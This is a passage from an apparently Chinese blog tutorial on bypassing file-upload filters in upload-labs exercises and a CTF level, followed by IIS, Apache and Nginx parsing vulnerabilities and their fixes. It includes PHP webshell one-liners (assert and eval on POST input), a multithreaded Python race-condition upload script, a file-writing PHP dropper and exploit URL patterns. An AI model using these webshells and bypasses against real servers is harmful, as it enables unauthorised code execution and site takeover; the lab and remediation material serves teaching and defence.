 5     $filename = $_FILES[‘upload_file‘][‘name‘];
 6     $filetype = $_FILES[‘upload_file‘][‘type‘];
 7     $tmpname = $_FILES[‘upload_file‘][‘tmp_name‘];
 8 
 9     $target_path=$UPLOAD_ADDR.basename($filename);
10 
11     // 获得上传文件的扩展名
12     $fileext= substr(strrchr($filename,"."),1);
13 
14     //判断文件后缀与类型,合法才进行上传操作
15     if(($fileext == "jpg") && ($filetype=="image/jpeg")){
16         if(move_uploaded_file($tmpname,$target_path))
17         {
18             //使用上传的图片生成新的图片
19             $im = imagecreatefromjpeg($target_path);
20 
21             if($im == false){
22                 $msg = "该文件不是jpg格式的图片!";
23             }else{
24                 //给新图片指定文件名
25                 srand(time());
26                 $newfilename = strval(rand()).".jpg";
27                 $newimagepath = $UPLOAD_ADDR.$newfilename;
28                 imagejpeg($im,$newimagepath);
29                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
30                 $img_path = $UPLOAD_ADDR.$newfilename;
31                 unlink($target_path);
32                 $is_upload = true;
33             }
34         }
35         else
36         {
37             $msg = "上传失败!";
38         }
39 
40     }else if(($fileext == "png") && ($filetype=="image/png")){
41         if(move_uploaded_file($tmpname,$target_path))
42         {
43             //使用上传的图片生成新的图片
44             $im = imagecreatefrompng($target_path);
45 
46             if($im == false){
47                 $msg = "该文件不是png格式的图片!";
48             }else{
49                  //给新图片指定文件名
50                 srand(time());
51                 $newfilename = strval(rand()).".png";
52                 $newimagepath = $UPLOAD_ADDR.$newfilename;
53                 imagepng($im,$newimagepath);
54                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
55                 $img_path = $UPLOAD_ADDR.$newfilename;
56                 unlink($target_path);
57                 $is_upload = true;               
58             }
59         }
60         else
61         {
62             $msg = "上传失败!";
63         }
64 
65     }else if(($fileext == "gif") && ($filetype=="image/gif")){
66         if(move_uploaded_file($tmpname,$target_path))
67         {
68             //使用上传的图片生成新的图片
69             $im = imagecreatefromgif($target_path);
70             if($im == false){
71                 $msg = "该文件不是gif格式的图片!";
72             }else{
73                 //给新图片指定文件名
74                 srand(time());
75                 $newfilename = strval(rand()).".gif";
76                 $newimagepath = $UPLOAD_ADDR.$newfilename;
77                 imagegif($im,$newimagepath);
78                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
79                 $img_path = $UPLOAD_ADDR.$newfilename;
80                 unlink($target_path);
81                 $is_upload = true;
82             }
83         }
84         else
85         {
86             $msg = "上传失败!";
87         }
88     }else{
89         $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
90     }
91 }

 

 

 

打开被渲染后的图片,Webshell代码仍然存在

提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。

 

 

 

 

从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传示例文件即可,并不需要图片是正常的图片。

 

程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。

 

ps:实践中,被二次渲染过的图片依然有可能被发现,我们可以用自己的平台多测试几个,最终找到那个最坚强的来!

17、利用条件竞争删除文件差绕过

原理: 拼的就是硬件效率!在服务端服务器删除我们上传的php文案之前,先访问到我们已经上传的PHP文件。

 源代码:

1 $is_upload = false;
 2 $msg = null;
 3 
 4 if(isset($_POST[‘submit‘])){
 5     $ext_arr = array(‘jpg‘,‘png‘,‘gif‘);
 6     $file_name = $_FILES[‘upload_file‘][‘name‘];
 7     $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
 8     $file_ext = substr($file_name,strrpos($file_name,".")+1);
 9     $upload_file = $UPLOAD_ADDR . ‘/‘ . $file_name;
10 
11     if(move_uploaded_file($temp_file, $upload_file)){
12         if(in_array($file_ext,$ext_arr)){
13              $img_path = $UPLOAD_ADDR . ‘/‘. rand(10, 99).date("YmdHis").".".$file_ext;
14              rename($upload_file, $img_path);
15              unlink($upload_file);
16              $is_upload = true;
17         }else{
18             $msg = "只允许上传.jpg|.png|.gif类型文件!";
19             unlink($upload_file);
20         }
21     }else{
22         $msg = ‘上传失败!‘;
23     }
24 }

第一种方式:使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

1 #!/usr/bin/env python
 2 # coding:utf-8
 3
 4 
 5 import hackhttp
 6 from multiprocessing.dummy import Pool as ThreadPool
 7 
 8 
 9 def upload(lists):
10     hh = hackhttp.hackhttp()
11     raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
12 Host: 127.0.0.1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
15 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
16 Accept-Encoding: gzip, deflate
17 Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
18 Cookie: pass=17
19 Connection: close
20 Upgrade-Insecure-Requests: 1
21 Content-Type: multipart/form-data; boundary=---------------------------6696274297634
22 Content-Length: 341
23 
24 -----------------------------6696274297634
25 Content-Disposition: form-data; name="upload_file"; filename="17.php"
26 Content-Type: application/octet-stream
27 
28 <?php assert($_POST["LandGrey"])?>
29 -----------------------------6696274297634
30 Content-Disposition: form-data; name="submit"
31 
32 上传
33 -----------------------------6696274297634--
34 """
35     code, head, html, redirect, log = hh.http(‘http://127.0.0.1/upload-labs/Pass-17/index.php‘, raw=raw)
36     print(str(code) + "\r")
37 
38 
39 pool = ThreadPool(10)
40 pool.map(upload, range(10000))
41 pool.close()
42 pool.join()

在脚本运行的时候,访问Webshell

 

 

 

第二种方式: 直接使用burpsuit来完成:

 

服务器先允许你上传文件,然后检测是否合法,不合法再删除,我们要利用的就是在服务器删除前,访问到我们上传的php。

例如:这里我们先准备一个tj.php。内容为:

<?php
$myfile = fopen("qing.php", "w");
$txt = "<?php phpinfo();?>";
fwrite($myfile, $txt);
fclose($myfile);
?>

条件竞争中burp需要线程设置偏大

 

 

ps: 上传次数这里是3000,设置为无限次也行!

因为最终目的是在服务端删除我们上传的包之前访问到它,所以一边上传一边还要不断地访问!即:

http://www.hack_upload.com/upload/tj.php

这里使用两个发包器,一个包是上传我们tj.php的包,一个是用来访问我们上传tj.php后的地址

 

 

 

 利用条件竞争,访问tj.php成功,所以新建了一个qing.php

18、利用上传重命名竞争+apache解析漏洞绕过

源代码:

1 //index.php
  2 $is_upload = false;
  3 $msg = null;
  4 if (isset($_POST[‘submit‘]))
  5 {
  6     require_once("./myupload.php");
  7     $imgFileName =time();
  8     $u = new MyUpload($_FILES[‘upload_file‘][‘name‘], $_FILES[‘upload_file‘][‘tmp_name‘], $_FILES[‘upload_file‘][‘size‘],$imgFileName);
  9     $status_code = $u->upload($UPLOAD_ADDR);
 10     switch ($status_code) {
 11         case 1:
 12             $is_upload = true;
 13             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
 14             break;
 15         case 2:
 16             $msg = ‘文件已经被上传,但没有重命名。‘;
 17             break; 
 18         case -1:
 19             $msg = ‘这个文件不能上传到服务器的临时文件存储目录。‘;
 20             break; 
 21         case -2:
 22             $msg = ‘上传失败,上传目录不可写。‘;
 23             break; 
 24         case -3:
 25             $msg = ‘上传失败,无法上传该类型文件。‘;
 26             break; 
 27         case -4:
 28             $msg = ‘上传失败,上传的文件过大。‘;
 29             break; 
 30         case -5:
 31             $msg = ‘上传失败,服务器已经存在相同名称文件。‘;
 32             break; 
 33         case -6:
 34             $msg = ‘文件无法上传,文件不能复制到目标目录。‘;
 35             break;      
 36         default:
 37             $msg = ‘未知错误!‘;
 38             break;
 39     }
 40 }
 41 
 42 //myupload.php
 43 class MyUpload{
 44 ......
 45 ......
 46 ...... 
 47   var $cls_arr_ext_accepted = array(
 48       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
 49       ".html", ".xml", ".tiff", ".jpeg", ".png" );
 50 
 51 ......
 52 ......
 53 ......  
 54   /** upload()
 55    **
 56    ** Method to upload the file.
 57    ** This is the only method to call outside the class.
 58    ** @para String name of directory we upload to
 59    ** @returns void
 60   **/
 61   function upload( $dir ){
 62     
 63     $ret = $this->isUploadedFile();
 64     
 65     if( $ret != 1 ){
 66       return $this->resultUpload( $ret );
 67     }
 68 
 69     $ret = $this->setDir( $dir );
 70     if( $ret != 1 ){
 71       return $this->resultUpload( $ret );
 72     }
 73 
 74     $ret = $this->checkExtension();
 75     if( $ret != 1 ){
 76       return $this->resultUpload( $ret );
 77     }
 78 
 79     $ret = $this->checkSize();
 80     if( $ret != 1 ){
 81       return $this->resultUpload( $ret );    
 82     }
 83     
 84     // if flag to check if the file exists is set to 1
 85     
 86     if( $this->cls_file_exists == 1 ){
 87       
 88       $ret = $this->checkFileExists();
 89       if( $ret != 1 ){
 90         return $this->resultUpload( $ret );    
 91       }
 92     }
 93 
 94     // if we are here, we are ready to move the file to destination
 95 
 96     $ret = $this->move();
 97     if( $ret != 1 ){
 98       return $this->resultUpload( $ret );    
 99     }
100 
101     // check if we need to rename the file
102 
103     if( $this->cls_rename_file == 1 ){
104       $ret = $this->renameFile();
105       if( $ret != 1 ){
106         return $this->resultUpload( $ret );    
107       }
108     }
109     
110     // if we are here, everything worked as planned :)
111 
112     return $this->resultUpload( "SUCCESS" );
113   
114   }
115 ......
116 ......
117 ...... 
118 };

 

上传名字为18.php.7Z的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名。

快速提交上面的数据包,可以让文件名字不被重命名上传成功。

然后利用Apache的解析漏洞,即可获得shell

18、双文件同时上传

第一个jpg文件起到欺骗作用,被放行后,紧跟其后的php文件也跟着偷偷溜了进去

源代码:

来源于CTF

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }
 
        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

思路:

  • 文件命名规则:$file_name = reset($file) . '.' . $file[count($file) - 1];
  • reset():将内部指针指向数组中的第一个元素,并输出。
  • end():将内部指针指向数组中的最后一个元素,并输出。
  • $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];如果save_name不为空则file为save_name,否则file为filename
  • if (!is_array($file))判断如果file不是数组则以’.’分组
  • 文件名命名规则$file_name = reset($file) . '.' . $file[count($file) - 1];
  • 我们POST传入一个save_name列表:['info20.php', '', 'jpg'],此时empty($_POST['save_name']) 为假则file为save_name,所以由$ext = end($file);为jpg可以通过后缀名判断(判断结束后最后一个元素jpg弹出),并且最终文件名组装为upload20.php.

 

开始上传

按他要求上传一个.jpg payload,然后抓包改回.php同时再复制一个假的jpg文件用来欺骗!

 

上传防御方式:

白名单过滤:

只允许上传某个类型或者某些文件内容的文件

重命名:  

取消大小写混写,重新随机命名,图片二次渲染

运维人员上级工具:

升级php版本到5.3.4版本以上,开启魔术符。防止00截断,升级系统

提升服务器性能

文件上传(中间件)解析漏洞

如何探测中间件系统版本呢?

namp扫描,awvs等工具扫描。也可以谷歌,fofa,钟馗之眼进行搜索

IIS5.x-6.x

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp.asa目录下的文件都解析成asp文件。

文件解析

形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa
/test.cer
/test.cdx

修复方案

1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹。

3.进行白名单过滤

IIS7.5

 

Apache解析漏洞

漏洞原理:

Apache解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

比如 test.php.owf.rar “.owf””.rar” 这两种后缀是apache不可识别解析,apache就会把oldboy.php.owf.rar解析成php

漏洞形式:

 

www.xxxx.xxx.com/test.php.php123

我们可以再test.php后随意添加其他不可识别后缀名,绕过后即可被当做sap文件执行了。

其余配置问题导致漏洞:

1)如果在 Apache conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
2)如果在 Apache conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

修复方案:

1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

 

<Files ~ “.(php.|php3.)”>
        Order Allow,Deny
        Deny from all
</Files>

 

2.用伪静态能解决这个问题,重写类似.php.*这类文件,禁止上传。打开apachehttpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

Nginx解析漏洞

 漏洞原理:

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAMEphpinfo.jpg,而1.phpPATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

说白就是:跟cgi有关,如果我们上传一个phpinfo.jpg文件,然后用www.xx.com/phpinfo.jpg/1.php URL的方式去访问他,那么这个phpinfo.jpg文件就会被当做php文件执行。

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)

另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php

修复方案

1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;默认是被注释掉的
2.Nginx配置文件中添加以下代码:

if ( $fastcgi_script_name ~ ..*/.*php ) {

return 403;

}

这行代码的意思是当匹配到类似test.jpg/a.phpURL时,将返回403错误代码。

IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

https://www.xp.cn/a.php/182.html

当安装完成后, php.ini里默认cgi.fix_pathinfo=1,对其进行访问的时候,在URL路径后添加.php后缀名会当做php文件进行解析,漏洞由此产生

注:在进行实际的测试的时候,发现漏洞并没有产生,后来发现要设置FastCGI为关闭,该项好像是用来处理数据文件

 

如此,就可以来点高级玩法,创建cmd.txt文件,内容为

<?php
fputs(fopen('shell.php','w'),'<?php  phpinfo();?>');
//创建新的文件
?>

保存后,重命名为cmd.jpg 文件,再次进行访问

 

phpnow下载apache中间件。apache是从右往左解析

nginx cgi

fastcgi   把√去掉

posted @ 2020-11-10 17:06  子墨·咖啡  阅读(9)  评论(0)    收藏  举报